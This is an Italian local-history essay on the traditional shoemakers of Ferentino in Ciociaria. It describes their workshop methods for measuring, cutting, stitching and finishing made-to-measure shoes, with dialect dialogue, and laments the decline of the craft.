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SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)
SI TE GRATA QVIES ET PRIMAM SOMNVS IN HORAM DELECTAT,
SI TE PVLVIS STREPITVSQUE ROTARVM, SI LAEDIT CAVPONA,
FERENTINVM IRE IVBEBO;
NAM NEQVE DIVITIBVS CONTINGVNT GAVDIA SOLIS …
(Orazio – Epistularum Liber I, 17, vv. 6-9)

Gli Scarpàru

Gli scarparu
L'arte dello scarparo è antica quasi quanto il mondo, o almeno è nata da quando l'uomo, uscendo dallo stato belluino, per lo spirito di conservazione della specie, sentì la necessità di proteggersi i piedi. Dallo studio degli usi e costumi degli antichi Egiziani e Fenici è emerso che, fin d'allora, accanto alle calzature di papiro, si usavano già sandali di cuoio. Anche gli antichi Ferentinesi, uomini laboriosi, intelligenti, creativi e nello stesso tempo pratici, ebbero in ogni tempo i loro scarpari. Essi lavoravano singolarmente o a gruppi di due, cinque, otto, dieci fino a venticinque persone insieme, dando così vita alla bottega artigianale. Le loro prerogative erano : l'estrosità nella creazione dei modelli, la precisione nell'esecuzione, la rapidità nella consegna, privandosi spesso anche del riposo notturno, e la scelta di ottimo materiale, caratteristiche queste che peraltro erano richieste dagli stessi clienti al momento dell'ordinazione. La rituale richiesta era infatti : “Vogli nu paru du scarpu bonu, bellu, cu durunu i costunu pocu”. Quest' ultimo punto veniva poi superato con il contratto ed una stretta di mano. Ma con la vostra immaginazione tornate un momento con me in una bottega di scarpari, e osserviamo insieme cosa accade. Arriva un gruppo di persone, padre, madre, figlio e la nonna che chiude il gruppo. Il mastro si fa loro incontro e, dando affettuosamente una pacca sulla spalla dell'uomo dice: “Chi nun su moru su ruvedu” (chi non muore si rivede). “Propria accusì” (proprio così), di rimando l'altro. “Sta vota pro nun so' vunutu pu mecu, ma pu moglima, ca c' hà scita na putata a nu pedu i nun su po' più cazzà, i pù stu uttru”. (Questa volta però non sono venuto per me, ma per mia moglie alla quale è uscita una protuberanza ad un piede, per cui non si può più calzare e per mio figlio) “Vediamo subito la signora”, risponde il calzolaio gentile. Si ritira dietro il bancone, prende un pezzo di carta paglia della grandezza di cinque centimetri circa e lo piega due volte su se stesso ottenendo così una striscia lunga e resistente. Fa sedere la signora e le fa togliere una calza, che porta annodata sotto al ginocchio. Lo scarparo, chinandosi a terra comincia a prendere le misure dalla metà “dugli calucagni, alla metà dugli ditonu, passennu pu drentu”, seguendo cioè la linea dell'arco plantare dalla metà del tallone, alla metà dell'alluce. Segna la misura con un piccolo strappo sulla striscia di carta e passa alla seconda misura, “da putata a putata passennu pu gli ditinu” (circonferenza dell'avanpiede). Fa un secondo strappo e passa alla terza misura. Infila la striscia sotto l'arco plantare e prende la misura fino al dorso del piede ; questa sarebbe la misura “dugli cogli”. Scelgono una bella pelle per la confezione e decidono il modello. Per il ragazzo, invece, si prendono misure più ampie. “Ca chissu accisu cresci troppu, i mu raccomannu gli capicciuni, chigli più grossi alla via andò storci gli pedi, i na bella pellu du vacchetta”, asserisce la nonna che fino ad ora è stata attenta in disparte. Stabilita ogni cosa i clienti si congedano. Lo scarparo prende la suola, la taglia con il trincetto e la mette a bagno. Sceglie una forma di legno che più si confà a quelle misure e aggiunge dei rialzi per ottenere la forma desiderata. Disegna il modello, taglia la tomaia di carta, la prova sulla forma, la corregge e la riprova. Spiana sul bancone la pelle, sceglie il punto giusto, taglia la tomaia: “centu musuru i ‘nu tagli”, la cuce e la prova sulla forma preparata. Sta bene! Si siede al banchetto, mette la forma in mezzo alle ginocchia, una manciatina di chiodi da monta in bocca e via. La tomaia è fissata sul legno, manca la suola, la toglie dall'acqua e la pone su di un ciottolo di fiume ben levigato della grandezza di circa 20 cm. di diametro. La suola, per aumentarne la durata, viene battuta ripetutamente col martello sulla pietra posta in mezzo alle ginocchia. Subito dopo viene fissata con qualche chiodino sulla forma. A questo punto si prepara lo spago con la pece ed alle due estremità di esso si inserisce una setola che ha la funzione di ago per passare il filo nel foro creato dalla “Subbia”. Ora ha inizio la fase della cucitura, durante la quale lo scarparo si protegge le mani con “i cordamani” per evitate che lo spago gli penetri nelle carni. La cucitura della suola procede dalla parte interna della tomaia alla suola. I punti su quest'ultima vanno nascosti in un canaletto cuneiforme inciso con il trincetto. Si battono i punti sulla scarpa di ferro e col “bissecolo”, pezzo di legno di bosso, si levigano le suole. Fissati i tacchi, si raspano, si scartavetrano e con il ferro arroventato poi si spalma su di essi e lungo il “giro” la cera, quindi una bella lucidata e tutto è fatto. Gli scarparu Questa indagine, o meglio la nostra visita attraverso il tempo nella bottega “dugli scarparu” potrebbe indurre a credere che tutti i Ferentinesi fossero soliti seguire questa prassi ogni qualvolta avessero bisogno di un paio di scarpe. In realtà, tolte “lu scarpu bonu pu Santam,brosi i pu l'occasionu”, generalmente usavano comperare scarpe confezionate in precedenza, che per ragioni logistiche, non erano appaiate : potevano essere calzate al piede destro o al sinistro, da piedi sottili o “cu lu putatu”. Questo probabilmente era già un primo tentativo di produzione in serie. Ma Ferentino, che è nel cuore della Ciociaria, parallelamente all'uso delle scarpe, ha mantenuto nel tempo anche quello delle “cioce”, in quanto tradizionalmente meno costose e più idonee al lavoro dei campi. Il tempo è passato, ed attraverso varie evoluzioni, si è verificata la quasi totale scomparsa delle botteghe artigiane in genere ; gli “scarpari” in particolare sono divenuti solo un ricordo dei nostri nonni o genitori, che ancora oggi parlano con rimpianto “du chellu bellu para du scarpu cu ci feci Agustu Prova (Augusto Pro) qúandu su spusarunu”. Nel tempo la produzione artigianale, così caratteristica e personale era destinata ad essere soppiantata da quella a carattere industriale. Il paio di scarpe su misura, che rispettava tutte le esigenze del piede, ha lasciato il posto ad una serie anonima di calzature, contraddistinte soltanto da un numero, che ne specifica la lunghezza standard, ma esse non sempre riescono ad adattarsi perfettamente alle caratteristiche anatomiche dei piedi, specialmente di quelli “dolci”. Ma se è vero che le botteghe artigiane sono scomparse, è pur vero che a noi rimangono ancora le opere eseguite in esse, opere pregevoli che conserviamo gelosamente e per ragioni affettive e per la loro bella fattura. Oggi si va ancora alla ricerca del lavoro eseguito a mano, in quanto ritenuto più valido. Mi chiedo se questo sia dovuto soltanto ad un senso di sfiducia nella macchina, oppure ad un rimpianto per ciò che era in tempi passati.
La bottega artigiana era una realtà che ancor oggi affascina ; un ritorno ad essa, visto in un ottica più ampia, diversa, adatta ai tempi, sarebbe davvero auspicabile, soprattutto in un'epoca così densa di problemi inerenti alla realizzazione dei giovani nel mondo del lavoro.

 
 
Elvira Pignatelli Pro da “Arti e Mestieri di Ferentino di Ieri